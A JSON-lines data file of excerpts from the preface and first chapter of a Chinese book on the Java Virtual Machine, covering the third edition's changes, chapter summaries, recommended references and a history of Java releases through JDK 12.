    {"text": "内容特色与更新 本书的第2版成文于2011至2012年间，出版于2013年，撰写时是基于早期版本的JDK 7，彼时正值Oracle全面替代Sun公司领导Java技术发展的起点。 经过将近十年的时间，今天JDK版本已经发展到了JDK 12及预览版的JDK 13，整个Java技术体系一改Sun时代的迟缓作风，出现了许多激烈的变革，也涌现了不少令人欣喜的新变化、新风潮。"},
    {"text": "我在撰写本书第3版时，期望能把这些新的变化融合到已有的知识框架中，修改第2版中读者反馈的问题，提升叙述的准确性与可读性，这些期望中的更新使得本书字数从原有的24万增加到35万。"},
    {"text": "虽然了解Java技术的来龙去脉，以及编译自己的OpenJDK对于读者理解Java虚拟机并不是必须的，但是这些准备过程可以为走近Java技术和Java虚拟机提供良好的引导。 第一部分只有第1章： 第1章 介绍了Java技术体系过去、现在的情况以及未来的发展趋势，并在实践中介绍了如何自己编译一个OpenJDK 12。"},
    {"text": "第3版更新： 续写了Java技术发展史，这几年Java世界着实发生了很多值得记录的大事件； 完全重写了第2版对未来Java的展望预测，当时畅想的Java新发展新变化全部如约而至，是时候把聚光灯交给下一个十年的Java了；"},
    {"text": "第二部分 自动内存管理 因为程序员把控制内存的权力交给了Java虚拟机，所以可以在编码的时候享受自动内存管理的诸多优势，不过也正因为这个原因，一旦出现内存泄漏和溢出方面的问题，如果不了解虚拟机是怎样使用内存的，那排查错误将会成为一项异常艰难的工作。"},
    {"text": "第二部分包括第2～5章： 第2章 介绍了虚拟机中内存是如何划分的，哪部分区域、什么样的代码和操作可能导致内存溢出异常，并讲解了各个区域出现内存溢出异常的常见原因。"},
    {"text": "第3版更新： Java运行期数据区域是虚拟机的基础结构，尽管JDK版本在快速发展，这块内容仍然保持了相对的稳定，主要的变化是JDK 8时期的永久代的落幕和元空间的登场；"},
    {"text": "除此以外，本章着重修正了第2版中对Java虚拟机栈描述的含糊与偏差之处，还更新了部分测试代码，避免因JDK版本更迭导致与书中不一样的结果。"},
    {"text": "第3版更新： 由于撰写第2版时JDK 7刚刚发布，G1收集器尚无实践数据可查，书中对此讲述得比较含糊，本次更新完全重写了这部分内容，并重点增加了JDK 11、12中新出现的ZGC和Shenandoah两款低延迟全并发收集器的详细原理解析，这是垃圾收集器未来的发展方向。"},
    {"text": "此外，针对HotSpot中收集器实现的几个关键技术点，如解决跨代引用的记忆集与卡表、解决并发标记的增量更新和原始快照算法，还有内存读、写屏障等技术都增加了专门的小节来进行介绍，以便帮读者在后续深入阅读HotSpot设计与源码时打下良好的理论基础。"},
    {"text": "第3版更新： Java虚拟机的各种监控、管理等辅助工具的功能日益强大，几乎每个版本在这些工具的数量、功能上都会或多或少有所变化，除了将第2版涉及的工具的变化依照JDK版本进行升级外，本章还新增了对JDK 9中加入的JHSDB的使用讲解，并增加了对JFR和JMC的工作原理和使用方法的介绍，以及对部分JDK外部的工具（如JIT Watch）的简要介绍。"},
    {"text": "第5章 分享了几个比较有代表性的实际案例，还准备了一个所有开发人员都能“亲身实战”的练习，希望读者能通过实践来获得故障处理和调优的经验。"},
    {"text": "不过对实战部分，软件版本的落后并未影响笔者要表达的内容，原有的实战目前仍具有相同的实战价值，在第3版里笔者也并未刻意将Eclipse和HotSpot升级后重写一次。"},
    {"text": "第三部分 虚拟机执行子系统 执行子系统是虚拟机中必不可少的组成部分，了解了虚拟机如何执行程序，才能更好地理解怎样才能写出优秀的代码。"},
    {"text": "第三部分包括第6～9章： 第6章 讲解了Class文件结构中的各个组成部分，以及每个部分的定义、数据结构和使用方法，以实战的方式演示了Class的数据是如何存储和访问的。 第3版更新： 笔者认为本章内容更适合以“技术手册”的形式存在，即适合查阅多于适合阅读，但因为Class文件格式是虚拟机的基础知识，所以尽管枯燥却无法回避。 本次更新将Class文件格式的版本跟进到了JDK 12，《Java虚拟机规范》对Class文件格式进行的增强也会在本章中反映，内容相对琐碎。"},
    {"text": "例如，为了实现JDK 9的Java模块化系统，属性表中新增了Module、ModulePackages、ModuleMain-Class三项新属性，常量池中加入了CONSTANT_Module_info和CONSTANT_Package_info两个常量。"},
    {"text": "为进一步加强动态语言支持，CONSTANT_Dynamic_info常量也在JDK 11期间加入常量池…… 第7章 介绍了类加载过程的“加载”“验证”“准备”“解析”和“初始化”五个阶段中虚拟机分别进行了哪些动作，还介绍了类加载器的工作原理及其对虚拟机的意义。"},
    {"text": "第3版更新： 随着Class文件格式的发展，类加载的各个过程都发生了一些细节性变动，本章将会按照JDK 12版本的《Java虚拟机规范》的标准来同步更新这些内容。 此外，在JDK 9时引入了Java模块化系统，这是近年来Java技术的一次重要升级，也是对类加载部分影响巨大的一项变革，在本章将加入专门的小节对其进行讲述。"},
    {"text": "第3版更新： 本章讲述的是Java虚拟机执行子系统的概念模型，这部分属于相对稳定的内容，变化不大，本次主要更新了Java虚拟机对动态类型语言支持的增强。"},
    {"text": "第9章 通过几个类加载及执行子系统的案例，介绍了使用类加载器和处理字节码的一些值得欣赏和借鉴的思路，并通过一个实战练习加深读者对前面理论知识的理解。"},
    {"text": "第3版更新： 原有章节所涉及的案例中，程序、类库、工具的版本已经较为陈旧，本次更新对这些案例涉及的版本进行了升级，以反映在模块化、Lambda表达式、动态语言等新技术出现后它们的相应变化。"},
    {"text": "第四部分 程序编译与代码优化 Java程序从源码编译成字节码，再从字节码编译成本地机器码的这两个过程，从整体来看其实等同于一个传统编译器所执行的编译前端、后端过程。"},
    {"text": "第四部分包括第10～11章： 第10章 分析了Java语言中泛型、主动装箱拆箱、条件编译等多种语法糖的前因后果，并实战练习了如何使用插入式注解处理器来完成一个检查程序命名规范的编译器插件。"},
    {"text": "第3版更新： 对第2版介绍泛型的小节进行了全文重写，描述了不同语言里泛型实现的方式、Java泛型出现的历史背景和使用类型擦除来实现泛型所带来的一些限制，并介绍了未来可能会在Java中出现的值类型等内容。"},
    {"text": "第11章 讲解了虚拟机的热点探测方法、HotSpot的即时编译器、编译触发条件，以及如何从虚拟机外部观察和分析即时编译的数据和结果，还选择了几种常见的编译期优化技术进行讲解。"},
    {"text": "由于HotSpot中新的Graal编译器的加入，书中除了同步增加Graal编译器、JVMCI接口等内容，为了使读者可以在HotSpot编译器上进行实战练习，在本书第3版中还新增了许多编译器的实战内容。"},
    {"text": "第13章 介绍了线程安全所涉及的概念和分类、同步实现的方式及虚拟机的底层运作原理，并且介绍了虚拟机实现高效并发所做的一系列锁优化措施。"},
    {"text": "参考资料 本书名为“深入理解Java虚拟机”，但要想真的深入理解虚拟机，仅凭一本书肯定是远远不够的，读者可以通过以下方式查找到更多关于Java虚拟机方面的资料。"},
    {"text": "1.书籍 ·《Java虚拟机规范》 要学习虚拟机，《Java虚拟机规范》无论如何都是必须读的。 这本书的概念和细节描述与Sun的早期虚拟机（Sun Classic虚拟机）高度吻合，随着技术的发展，高性能虚拟机真正的细节实现方式已经渐渐与虚拟机规范所描述的方式差距越来越大，如果只能选择一本参考书来了解Java虚拟机，那必然是这本书。 ·《Java语言规范》 虽然Java虚拟机并不是Java语言专有的，但是了解Java语言的各种细节规定对虚拟机的行为也是很有帮助的，它与《Java虚拟机规范》一样都是Oracle官方直接出版的书籍，而且这本书还是由Java之父James Gosling亲自执笔撰写。"},
    {"text": "·《垃圾回收算法手册：自动内存管理的艺术》 2016年3月由机械工业出版社引进翻译，这是一本真正的教科书式的学术著作，是垃圾收集技术领域中的唯一必读的书籍。"},
    {"text": "该书从硬件与软件的发展给垃圾回收所带来的新挑战出发，探讨了这些挑战给高性能垃圾回收器的设计者与实现者所带来的影响，涵盖了并行垃圾回收、增量式垃圾回收、并发垃圾回收以及实时垃圾回收，描述各种算法与概念。"},
    {"text": "·《Virtual Machines：Versatile Platforms for Systems and Processes》 这是一本虚拟化技术的百科全书，帮助读者理解“虚拟机”一词到底指代什么，有什么不同类型，大概有哪些实现方法等。"},
    {"text": "此书并不直接针对Java虚拟机，出版于2005年，而且国内并没有中文版，但即使有这些因素限制，仍然推荐读者阅读此书以建立对虚拟机的全局性观念。"},
    {"text": "这本书并非全部都围绕Java虚拟机展开（只有第3、4、7章直接与Java虚拟机相关），而是从操作系统到基于Java的上层程序性能度量和调优进行全面介绍。"},
    {"text": "里面有一些关于虚拟机的讨论，并不只限于Java虚拟机，包括了所有针对高级语言虚拟机（High-Level Language Virtual Machine）的讨论，不过该网站针对Java虚拟机的讨论还是绝对的主流。"},
    {"text": "囿于我的写作水平和写作时间，书中难免存在不妥之处，所以特地开通了一个读者邮箱（ under-standingjvm@gmail.com ），大家如有任何意见或建议欢迎与我联系。"},
    {"text": "致谢 首先要感谢我的家人，在本书写作期间全靠他们对我的悉心照顾，才让我能够全身心地投入到写作之中，而无后顾之忧。 其次要感谢本书第1、2版的读者们，因你们的支持，让本书成为国内畅销的原创编程书籍之一，累计印刷36次，销量超过30万册；因你们的反馈，让我能够在新版中修正前两版里若干不成熟、不完整，乃至不正确的地方。 同时要感谢我的工作单位远光软件，公司为我提供了宝贵的工作、学习和实践的环境，书中的许多知识点都来自于工作实践；也感谢与我一起工作的同事们，非常荣幸能与你们一起在这个富有激情的团队中共同奋斗。 还要专门感谢莫枢（@RednaxelaFX），我认为他是国内对高级语言虚拟机知识普及最有贡献的几个人之一。尤其感谢他在百忙之中抽空审阅本书，提出了许多宝贵的建议和意见。 最后，感谢机械工业出版社华章公司的编辑，本书能够顺利出版，离不开他们的敬业精神和一丝不苟的工作态度。 周志明 第一部分 走近Java ·第1章 走近Java 第1章 走近Java 世界上并没有完美的程序，但我们并不因此而沮丧，因为写程序本来就是一个不断追求完美的过程。 1.1 概述 Java不仅仅是一门编程语言，它还是一个由一系列计算机软件和规范组成的技术体系，这个技术体系提供了完整的用于软件开发和跨平台部署的支持环境，并广泛应用于嵌入式系统、移动终端、企业服务器、大型机等多种场合，如图1-1所示。时至今日，Java技术体系已经吸引了600多万软件开发者，这是全球最大的软件开发团队。使用Java的设备已经超过了45亿，其中包括8亿多台个人计算机、21亿部移动电话及其他手持设备、35亿个智能卡，以及大量机顶盒、导航系统和其他设备 [1] 。 图1-1 Java技术的广泛应用 Java能获得如此广泛的认可，除了它拥有一门结构严谨、面向对象的编程语言之外，还有许多不可忽视的优点：它摆脱了硬件平台的束缚，实现了“一次编写，到处运行”的理想；它提供了一种相对安全的内存管理和访问机制，避免了绝大部分内存泄漏和指针越界问题；它实现了热点代码检测和运行时编译及优化，这使得Java应用能随着运行时间的增长而获得更高的性能；它有一套完善的应用程序接口，还有无数来自商业机构和开源社区的第三方类库来帮助用户实现各种各样的功能……Java带来的这些好处，让软件的开发效率得到了极大的提升。作为一名Java程序员，在编写程序时除了尽情发挥Java的各种优势外，还会情不自禁地想去了解和思考一下Java技术体系中这些优秀的技术特性是如何出现及怎样实现的。认识这些技术运行的本质，是自己思考“程序这样写好不好”的必要基础与前提。当我们在使用一门技术时，不再依赖书本和他人就能得到这些问题的答案，那才算升华到了“不惑”的境界。 本书将会与读者一起分析Java技术体系中那些最基础、最重要特性的实现原理。在本章中，笔者将重点讲述Java技术体系所囊括的内容，以及Java的历史、现状和未来的发展趋势。 [1] 这些数据是Java的广告词，它们来源于：http://www.java.com/zh_CN/about/。"},
    {"text": "1.2 Java技术体系 从广义上讲，Kotlin、Clojure、JRuby、Groovy等运行于Java虚拟机上的编程语言及其相关的程序都属于Java技术体系中的一员。如果仅从传统意义上来看，JCP官方 [1] 所定义的Java技术体系包括了以下几个组成部分： ·Java程序设计语言 ·各种硬件平台上的Java虚拟机实现 ·Class文件格式 ·Java类库API ·来自商业机构和开源社区的第三方Java类库 我们可以把Java程序设计语言、Java虚拟机、Java类库这三部分统称为JDK（Java Development Kit），JDK是用于支持Java程序开发的最小环境，本书中为行文方便，在不产生歧义的地方常以JDK来代指整个Java技术体系 [2] 。可以把Java类库API中的Java SE API子集 [3] 和Java虚拟机这两部分统称为JRE（Java Runtime Environment），JRE是支持Java程序运行的标准环境。图1-2展示了Java技术体系所包括的内容，以及JDK和JRE所涵盖的范围。 以上是根据Java各个组成部分的功能来进行划分，如果按照技术所服务的领域来划分，或者按照技术关注的重点业务来划分的话，那Java技术体系可以分为以下四条主要的产品线： ·Java Card：支持Java小程序（Applets）运行在小内存设备（如智能卡）上的平台。 图1-2 Java技术体系所包括的内容 ·Java ME（Micro Edition）：支持Java程序运行在移动终端（手机、PDA）上的平台，对Java API有所精简，并加入了移动终端的针对性支持，这条产品线在JDK 6以前被称为J2ME。有一点读者请勿混淆，现在在智能手机上非常流行的、主要使用Java语言开发程序的Android并不属于Java ME。 ·Java SE（Standard Edition）：支持面向桌面级应用（如Windows下的应用程序）的Java平台，提供了完整的Java核心API，这条产品线在JDK 6以前被称为J2SE。 ·Java EE（Enterprise Edition）：支持使用多层架构的企业应用（如ERP、MIS、CRM应用）的Java平台，除了提供Java SE API外，还对其做了大量有针对性的扩充 [4] ，并提供了相关的部署支持，这条产品线在JDK 6以前被称为J2EE，在JDK 10以后被Oracle放弃，捐献给Eclipse基金会管理，此后被称为Jakarta EE。 [1] JCP：Java Community Process，就是人们常说的“Java社区”，这是一个由业界多家技术巨头组成的社区组织，用于定义和发展Java的技术规范。 [2] 本书将以OpenJDK/OracleJDK中的HotSpot虚拟机为主脉络进行讲述，这是目前业界占统治地位的JDK和虚拟机，但它们并非唯一的选择，当本书中涉及其他厂商的JDK和其他Java虚拟机的内容时，笔者会指明上下文中JDK的全称。 [3] Java SE API范围：https://docs.oracle.com/en/java/javase/12/docs/api/index.html。 [4] 这些扩展一般以javax.*作为包名，而以java.*为包名的包都是Java SE API的核心包，但由于历史原因，一部分曾经是扩展包的API后来进入了核心包中，因此核心包中也包含了不少javax.*开头的包名。"},
    {"text": "1.3 Java发展史 从Java的第一个版本诞生到现在已经有二十余年的时间，白驹过隙，沧海桑田，转眼已过了四分之一个世纪，在图1-3所示的时间线里，我们看到JDK的版本已经发展到了JDK 13。"},
    {"text": "1991年4月，由James Gosling博士领导的绿色计划（Green Project）开始启动，此计划最初的目标是开发一种能够在各种消费性电子产品（如机顶盒、冰箱、收音机等）上运行的程序架构。"},
    {"text": "Oak当时在消费品市场上并不算成功，但随着1995年互联网潮流的兴起，Oak迅速找到了最适合自己发展的市场定位并蜕变成为Java语言。 图1-3 Java技术发展的时间线 1995年5月23日，Oak语言改名为Java，并且在SunWorld大会上正式发布Java 1.0版本。"},
    {"text": "1996年1月23日，JDK 1.0发布，Java语言有了第一个正式版本的运行环境。 JDK 1.0提供了一个纯解释执行的Java虚拟机实现（Sun Classic VM）。 JDK 1.0版本的代表技术包括：Java虚拟机、Applet、AWT等。"},
    {"text": "1997年2月19日，Sun公司发布了JDK 1.1，Java里许多最基础的技术支撑点（如JDBC等）都是在JDK 1.1版本中提出的，JDK 1.1版的技术代表有：JAR文件格式、JDBC、JavaBeans、RMI等。"},
    {"text": "从1.1.4以后，每个JDK版本都有一个属于自己的名字（工程代号），分别为：JDK 1.1.4-Sparkler（宝石）、JDK 1.1.5-Pumpkin（南瓜）、JDK 1.1.6-Abigail（阿比盖尔，女子名）、JDK 1.1.7-Brutus（布鲁图，古罗马政治家和将军）和JDK 1.1.8-Chelsea（切尔西，城市名）。"},
    {"text": "1998年12月4日，JDK迎来了一个里程碑式的重要版本：工程代号为Playground（竞技场）的JDK 1.2，Sun在这个版本中把Java技术体系拆分为三个方向，分别是面向桌面应用开发的J2SE（Java 2 Platform，Standard Edition）、面向企业级开发的J2EE（Java 2 Platform，Enterprise Edition）和面向手机等移动终端开发的J2ME（Java 2 Platform，Micro Edition）。 在这个版本中出现的代表性技术非常多，如EJB、Java Plug-in、Java IDL、Swing等，并且这个版本中Java虚拟机第一次内置了JIT（Just In Time）即时编译器（JDK 1.2中曾并存过三个虚拟机，Classic VM、HotSpot VM和Exact VM，其中Exact VM只在Solaris平台出现过；"},
    {"text": "相对于JDK 1.2，JDK 1.3的改进主要体现在Java类库上（如数学运算和新的Timer API等），JNDI服务从JDK 1.3开始被作为一项平台级服务提供（以前JNDI仅仅是一项扩展服务），使用CORBA IIOP来实现RMI的通信协议，等等。"},
    {"text": "JDK 1.3有1个修正版本JDK 1.3.1，工程代号为Ladybird（瓢虫），于2001年5月17日发布。 自从JDK 1.3开始，Sun公司维持着稳定的研发节奏：大约每隔两年发布一个JDK的主版本，以动物命名，期间发布的各个修正版本则以昆虫作为工程代号。"},
    {"text": "JDK 1.4是标志着Java真正走向成熟的一个版本，Compaq、Fujitsu、SAS、Symbian、IBM等著名公司都有参与功能规划，甚至实现自己独立发行的JDK 1.4。 哪怕是在近二十年后的今天，仍然有一些主流应用能直接运行在JDK 1.4之上，或者继续发布能运行在1.4上的版本。 JDK 1.4同样带来了很多新的技术特性，如正则表达式、异常链、NIO、日志类、XML解析器和XSLT转换器，等等。 JDK 1.4有两个后续修正版：2002年9月16日发布的工程代号为Grasshopper（蚱蜢）的JDK 1.4.1与2003年6月26日发布的工程代号为Mantis（螳螂）的JDK 1.4.2。"},
    {"text": "这个无论是技术实现还是目标用户上都与Java有很多相近之处的技术平台给Java带来了很多讨论、比较与竞争，.NET平台和Java平台之间声势浩大的孰优孰劣的论战到今天为止都仍然没有完全平息。"},
    {"text": "在这个版本中，Sun公司终结了从JDK 1.2开始已经有八年历史的J2EE、J2SE、J2ME的产品线命名方式，启用Java EE 6、Java SE 6、Java ME 6的新命名来代替。"},
    {"text": "在2006年11月13日的JavaOne大会上，Sun公司宣布计划要把Java开源，在随后的一年多时间内，它陆续地将JDK的各个部分在GPL v2（GNU General Public License v2）协议下公开了源码，并建立了OpenJDK组织对这些源码进行独立管理。"},
    {"text": "除了极少量的产权代码（Encumbered Code，这部分代码所有权不属于Sun公司，Sun本身也无权进行开源处理）外，OpenJDK几乎拥有了当时SunJDK 7的全部代码，OpenJDK的质量主管曾经表示在JDK 7中，SunJDK和OpenJDK除了代码文件头的版权注释之外，代码几乎是完全一样的，所以OpenJDK 7与SunJDK 7本质上就是同一套代码库出来的产品。"},
    {"text": "JDK 6发布以后，由于代码复杂性的增加、Java开源、开发JavaFX、世界经济危机及Oracle对Sun的收购案等原因，Sun公司在发展Java以外的事情上耗费了太多精力和资源，JDK的更新没有能够继续维持两年发布一个主版本的研发速度，这导致了JDK 6的生命周期异常的长，一共发布了211个更新升级补丁，最后的版本为Java SE 6 Update 211，于2018年10月18日发布。"},
    {"text": "从JDK 7最原始的功能清单来看，它本应是一个包含许多重要改进的JDK版本，其中规划的子项目都为Java业界翘首以盼，包括： ·Lambda项目：支持Lambda表达式，支持函数式编程。"},
    {"text": "令人惋惜的是，在JDK 7开发期间，Sun公司相继在技术竞争和商业竞争中陷入泥潭，公司的股票市值跌至仅有高峰时期的3%，已无力推动JDK 7的研发工作按计划继续进行。"},
    {"text": "为了尽快结束JDK 7长期跳票的问题，Oracle收购Sun公司后随即宣布马上实行“B计划”，大幅裁剪了JDK 7预定目标，以保证JDK 7的正式版能够于2011年7月28日准时发布。"},
    {"text": "最终，JDK 7包含的改进有：提供新的G1收集器（G1在发布时依然处于Experimental状态，直至2012年4月的Update 4中才正式商用）、加强对非Java语言的调用支持（JSR-292，这项特性在到JDK 11还有改动）、可并行的类加载架构等。"},
    {"text": "面对Java中使用最广泛而又一直免费的Java SE产品线，Oracle很快定义了一套新的Java SE Support [2] 产品计划，把JDK的更新支持作为一项商业服务。 JDK 7发布的前80个更新仍然免费面向所有用户提供，但后续的其他更新包，用户 [3] 只能从“将Java SE升级到Java SE Support”与“将JDK 7升级到最新版本”两个选项里挑一个。 JDK 7计划维护至2022年，迄今（面向付费用户）已发布了超过两百个更新补丁，最新版本为JDK 7 Update 221。 对于JDK 7，还有一点值得提起的是，从JDK 7 Update 4起，Java SE的核心功能正式开始为Mac OS X操作系统提供支持，并在JDK 7 Update 6中达到所有功能与Mac OS X完全兼容的程度；"},
    {"text": "至此，官方提供的JDK可以运行于Windows（不含Windows 9x）、Linux、Solaris和Mac OS X操作系统上，支持ARM、x86、x86-64和SPARC指令集架构，JDK 7也是可以支持Windows XP操作系统的最后一个版本 [4] 。"},
    {"text": "2009年4月20日，Oracle宣布正式以74亿美元的价格收购市值曾超过2000亿美元的Sun公司，传奇的Sun Microsystems从此落幕成为历史，Java商标正式划归Oracle所有（Java语言本身并不属于哪间公司所有，它由JCP组织进行管理，尽管在JCP中Sun及后来的Oracle的话语权很大）。"},
    {"text": "由于此前Oracle已经收购了另外一家大型的中间件企业BEA公司，当完成对Sun公司的收购之后，Oracle分别从BEA和Sun手中取得了世界三大商用虚拟机的其中两个：JRockit和HotSpot。"},
    {"text": "两者合并的结果只能说差强人意，JRockit的监控工具Java Mission Control被移植到了HotSpot，作为收费功能提供给购买了Java SE Advanced产品计划的用户，其他功能由于两者架构的差异性明显，HotSpot能够直接借鉴融合的功能寥寥无几 [6] 。"},
    {"text": "JDK 8的第一个正式版本原定于2013年9月发布，最终还是跳票到了2014年3月18日，尽管仍然是没有赶上正点，但比起JDK 7那种以年作为计时单位、直接把公司跳崩的研发状况已是大有改善。"},
    {"text": "为了保证日后JDK研发能更顺利地进行，从JDK 8开始，Oracle启用JEP（JDK Enhancement Proposals）来定义和管理纳入新版JDK发布范围的功能特性。"},
    {"text": "JDK 8提供了那些曾在JDK 7中规划过，但最终未能在JDK 7中完成的功能，主要包括： ·JEP 126：对Lambda表达式的支持，这让Java语言拥有了流畅的函数式表达能力。"},
    {"text": "·…… “B计划”中原本说好的会在JDK 8提供的Jigsaw模块化功能再次被延期到了JDK 9，不得不说，即使放到整个Java发展史里看，Jigsaw都能算是天字第一号的大坑。 Java的模块化系统本身面临的技术挑战就很艰巨，从微软的DLL技术开始，到Java自己的JAR，再到.NET的Assembly，工程庞大起来都无一例外会陷入“模块地狱” [7] 的困境之中，而Jigsaw面临的更大困难是厂商之间以标准话语权为目的，以技术为“找茬”手段的激烈竞争。"},
    {"text": "原本JDK 9是计划在2016年发布的，但在2016年伊始，Oracle就宣布JDK 9肯定要延期至2017年，后来又连续经过了两次短时间的跳票，最终到2017年9月21日才得以艰难面世。"},
    {"text": "后两次跳票的原因是以IBM和RedHat为首 [8] 的十三家企业在JCP执行委员会上联手否决了Oracle提出的Jigsaw作为Java模块化规范进入JDK 9发布范围的提案 [9] 。"},
    {"text": "这方面IBM本身就是各大Java发行厂商中做得最好的，它不仅让自家的JDK实现了高度模块化，还带头成立了OSGi联盟，制订了Java框架层面模块化的事实标准，所以它当然会想把OSGi推到Java规范里去争个“名份”，而不是被Jigsaw革掉“性命”。"},
    {"text": "可是Oracle对此没有丝毫退让，不惜向JCP发去公开信 [10] ，直言如果提案最后无法通过，那Oracle将摒弃JSR专家组，独立发展带Jigsaw的Java版本，Java顿时面临如Python 2与Python 3那般分裂的危机。 不论如何，经过前后六轮投票，经历桌上桌下的斗争与妥协，Java没有分裂，JDK 9总算是带着Jigsaw最终发布了，除了Jigsaw外，JDK 9还增强了若干工具（JS Shell、JLink、JHSDB等），整顿了HotSpot各个模块各自为战的日志系统，支持HTTP 2客户单API等91个JEP。 JDK 9发布后，Oracle随即宣布Java将会以持续交付的形式和更加敏捷的研发节奏向前推进，以后JDK将会在每年的3月和9月各发布一个大版本 [11] ，目的就是为避免众多功能特性被集中捆绑到一个JDK版本上而引发交付风险。 这次改革确实从根源上解决了跳票问题，但也为Java的用户和发行商带来了颇大的压力，不仅程序员感慨“Java新版本还没开始用就已经过时了”，Oracle自己对着一堆JDK版本分支也在挠头，不知道该如何维护更新，该如何提供技术支持。 Oracle的解决方案是顺理成章地终结掉“每个JDK版本最少维护三年”的优良传统，从此以后，每六个JDK大版本中才会被划出一个长期支持（Long Term Support，LTS）版，只有LTS版的JDK能够获得为期三年的支持和更新，普通版的JDK就只有短短六个月的生命周期。 JDK 8和JDK 11会是LTS版，再下一个就到2021年发布的JDK 17了。 2018年3月20日，JDK 10如期发布，这版本的主要研发目标是内部重构，诸如统一源仓库、统一垃圾收集器接口、统一即时编译器接口（JVMCI在JDK 9已经有了，这里是引入新的Graal即时编译器）等，这些都将会是对未来Java发展大有裨益的改进，但对普通用户来说JDK 10的新特性就显得乏善可陈，毕竟它只包含了12个JEP，而且其中只有本地类型推断这一个编码端可见的改进。 尽管JDK 10可见的改进有限，但2018这一年Java圈丝毫不缺乏谈资，相继发生了几件与“金钱”相关的历史性大事件。"},
    {"text": "首先是2018年3月27日，Android的Java侵权案有了最终判决，法庭裁定Google赔偿Oracle合计88亿美元，要知道2009年Oracle收购Sun也就只花了74亿，收购完成后随即就用Sun的专利把Google告上了法庭，经过Oracle法务部的几轮神操作，一场官司的赔偿让收购Sun公司等同免费。 对此事Java技术圈多数吃瓜群众是站在Google这边的，认为Oracle这样做是自绝Java的发展前景，毕竟当年Android刚刚起步的时候可是Sun向Google抛去的橄榄枝，Android的流行也巩固了Java“第一编程语言”的行业地位。 摒弃对企业的好恶情感，就事论事，Google采用Java的语法和API类库，开发出来的程序却不能运行在其他Java虚拟机之上，这事情无论怎样都是有违Java技术的精神原旨的，也肯定违反了Java的使用协议 [12] 。 如果说Oracle控告Google“不厚道”，那当年微软用J++做了同样的事情（借用语法和API，但程序不兼容标准Java虚拟机），被Sun告到登报道歉，一边赔款一边割地，声明放弃J++语言和Windows平台上的内置虚拟机，这又该找谁说理去？ 按常理说Java刚给Oracle赚了88亿美金，该颇为受宠才对，可Oracle是典型只谈利益不讲情怀的公司，InfoWorld披露的一封Oracle高管邮件表明 [13] ，Java体系中被认为无法盈利也没有太多战略前景的部分会逐渐被“按计划报废”（Planned Obsolescence）。"},
    {"text": "虽然Java SE、Java EE和Java ME三条产品线里确实只有Java SE称得上成功，但Java EE毕竟无比辉煌过，现在其中还持有着JDBC、JMS、Servlet等使用极为广泛的基础组件，然而Oracle仍选择把它“扫地出门”，所有权直接赠送给Eclipse基金会，唯一的条件是以后不准再使用“Java”这个商标 [14] ，所以取而代之的将是Jakarta EE。 2018年10月，JavaOne 2018在旧金山举行，此前没有人想过这会是最后一届JavaOne大会，这个在1996年伴随着Java一同诞生、成长的开发者年度盛会，竟是Oracle下一个裁撤的对象 [15] ，此外还有Java Mission Control的开发团队，也在2018年6月被Oracle解散。"},
    {"text": "2018年9月25日，JDK 11发布，这是一个LTS版本的JDK，包含17个JEP，其中有ZGC这样的革命性的垃圾收集器出现，也有把JDK 10中的类型推断加入Lambda语法这种可见的改进，但都比不过它发布时爆出来的谣言轰动：“Java要开始收费啦！"},
    {"text": "首先，Oracle从JDK 11起把以前的商业特性 [16] 全部开源给OpenJDK，这样OpenJDK 11和OracleJDK 11的代码和功能，在本质上就是完全相同的（官方原文是Essentially Identical） [17] 。 然后，Oracle宣布以后将会同时发行两个JDK：一个是以GPLv2+CE协议下由Oracle发行的OpenJDK（本书后面章节称其为Oracle OpenJDK），另一个是在新的OTN协议下发行的传统的OracleJDK，这两个JDK共享绝大部分源码，在功能上是几乎一样的 [18] ，核心差异是前者可以免费在开发、测试或生产环境中使用，但是只有半年时间的更新支持；"},
    {"text": "如果说由此能得出“Java要收费”的结论，那是纯属标题党，最多只能说Oracle在迫使商业用户要么不断升级JDK的版本，要么就去购买商业支持 [19] 。"},
    {"text": "2019年2月，在JDK 12发布前夕，Oracle果然如之前宣布那样在六个月之后就放弃了对上一个版本OpenJDK的维护，RedHat同时从Oracle手上接过OpenJDK 8和OpenJDK 11的管理权利和维护职责 [20] 。 Oracle不愿意在旧版本上继续耗费资源，而RedHat或者说它背后的IBM又乐意扩大自己在Java社区的影响力，这是一笔双赢的交易。 RedHat代替Oracle成为JDK历史版本的维护者，应该有利于Java的持续稳定，但从技术发展角度来看，这并不能为Oracle领导Java社区的局面带来根本性的改变，毕竟要添加新的或实验性的功能，仅会针对Java的最新版本，而不会在旧版本上动手。"},
    {"text": "2019年3月20日，JDK 12发布，只包含8个JEP，其中主要有Switch表达式、Java微测试套件（JMH）等新功能，最引人注目的特性无疑是加入了由RedHat领导开发的Shen-andoah垃圾收集器。"},
    {"text": "Shenandoah作为首个由非Oracle开发的垃圾收集器，其目标又与Oracle在JDK 11中发布的ZGC几乎完全一致，两者天生就存在竞争。 Oracle马上用实际行动抵制了这个新收集器，在JDK 11发布时才说应尽可能保证OracleJDK和OpenJDK的兼容一致，转眼就在OracleJDK 12里把Shenandoah的代码通过条件编译强行剔除掉，使其成为历史上唯一进入了OpenJDK发布清单，但在OracleJDK中无法使用的功能。"},
    {"text": "[1] Java从1.5版本开始，官方在正式文档与宣传上已经不再使用类似“JDK 1.5”的命名，只有程序员内部使用的开发版本号（Developer Version，例如java-version的输出）中才继续沿用1.5、1.6、1.7这样的版本号，而公开版本号（Product Version）则是改为JDK 5.0、JDK 6、JDK 7的命名方式，JDK 5.0中“.0”的后缀从JDK 6起也被移除掉，本书为了行文统一，同样以JDK 5来指代JDK 5.0。"},
    {"text": "[14] 最大的争议点是Oracle要求包名中不能出现java字样，导致一堆javax.*开头的包一旦修改或添加新代码，就必须重新命名，这将让用到它们的代码都受到影响。"},
